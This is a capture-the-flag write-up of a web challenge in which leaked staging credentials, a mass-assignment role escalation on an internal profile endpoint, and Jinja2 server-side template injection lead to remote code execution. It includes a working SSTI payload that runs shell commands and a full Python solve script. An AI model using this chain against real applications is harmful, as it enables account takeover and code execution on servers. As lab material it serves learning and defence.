ChainExtend leaked QA creds to mass-assignment to SSTI

web
flag RxR{c1360a7f-a4d3-45e9-aa7d-20dae0db1f2a}

A document-vault app behind a login. The staging notes are public, the QA account in them works, a leftover internal endpoint lets a plain user crown itself admin, and the admin-only audit feature renders a Jinja2 template server-side. That last part is a straight line from SSTI to RCE.

1/5Find the exposed staging docs

The brief mentions staging documentation left out during an evacuation. The SPA loads /js/app.js / /js/config.js and links a /dev-portal/ page - "ChainExtend QA Staging and Crypt Notes" - which hands over a sandbox login and names a service:

output
PATCH /api/internal/users/{id}/profile

The email on the page is Cloudflare-obfuscated in a data-cfemail attribute; XOR-decoding it with its own first byte gives:

output
Email:              alice@vaultsync.io
Default Password:   Password123!
Primary Workspace:  Acme Corp (ws-acme-001)
Role:               user

2/5Log in and read the token

POST /api/auth/login returns an RS256 JWT (sub/email/role/workspace_id/aud/iss). The hint about a "compromised cryptographic gatekeeper" had me reread this twice, but RS256 needs the private key to forge, and I had none - so the token wasn't the way in. Back to the endpoint the staging page had already advertised.

3/5Escalate with mass assignment

The leaked endpoint is authenticated but has no role check, and accepts the whole profile object, role included:

http
PATCH /api/internal/users/<my-id>/profile
{"name":"Alice","email":"alice@vaultsync.io","role":"admin"}

It returns the record with role: admin and the change sticks. A fresh login mints a token that already claims admin - mass assignment on a route the frontend's own TODO said to remove before production.

4/5Reach the audit runner

/api/audit/report is role-gated to admin/auditor, which is why the escalation mattered. The body is camelCase - {"documentId","template","format"} - and a snake_case body gives a 400 that reads like the fields are missing entirely rather than just misspelled.

5/5SSTI to RCE

template is rendered as Jinja2 server-side. {{ 7*7 }} -> 49 confirms it; from there:

python
1{{ lipsum.__globals__.os.popen('cat /run/secrets/flag').read() }}

entrypoint.sh writes the platform's $FLAG into /run/secrets/flag at boot, so that's where the flag lives.

Pitfall

Sending the escalation PATCH without an Authorization header first gives a 401, which briefly looks like a role wall. It isn't - the endpoint just needs any valid session, admin or not.

Show the full solve script
solve.py python
1import requests
2
3BASE = "https://<instance>.redx.site"
4CREDS = {"email": "alice@vaultsync.io", "password": "Password123!"}
5DOC = "<any document id from GET /api/documents>"
6
7s = requests.Session()
8
9def login():
10    j = s.post(BASE + "/api/auth/login", json=CREDS).json()
11    s.headers["Authorization"] = "Bearer " + j["token"]
12    return j["user"]["id"]
13
14uid = login()
15
16# leftover internal route: auth'd, but no role check and role is mass-assignable
17s.patch(f"{BASE}/api/internal/users/{uid}/profile",
18        json={"name": "Alice", "email": CREDS["email"], "role": "admin"})
19
20login()  # new JWT now carries role=admin
21
22def render(tmpl):
23    r = s.post(BASE + "/api/audit/report",
24               json={"documentId": DOC, "template": tmpl, "format": "text"})
25    return r.json()["rendered"]
26
27print(render("{{ 7*7 }}"))                                       # 49
28print(render("{{ lipsum.__globals__.os.popen('cat /run/secrets/flag').read() }}"))

Note

Once RCE landed, a listing showed the RS256 signing keys sitting readable in /app/keys - by then unnecessary, since the audit template already had the flag. The page also carries a Verified flag: RxR{R4lly_i_g0t_187_kdn4h} banner string; the challenge id baked right into it is the tell that it's planted bait, not the flag.

Flag

output
RxR{c1360a7f-a4d3-45e9-aa7d-20dae0db1f2a}

The flag belongs to the container it's read on - $FLAG regenerates per instance, so this is the value the instance I held returned.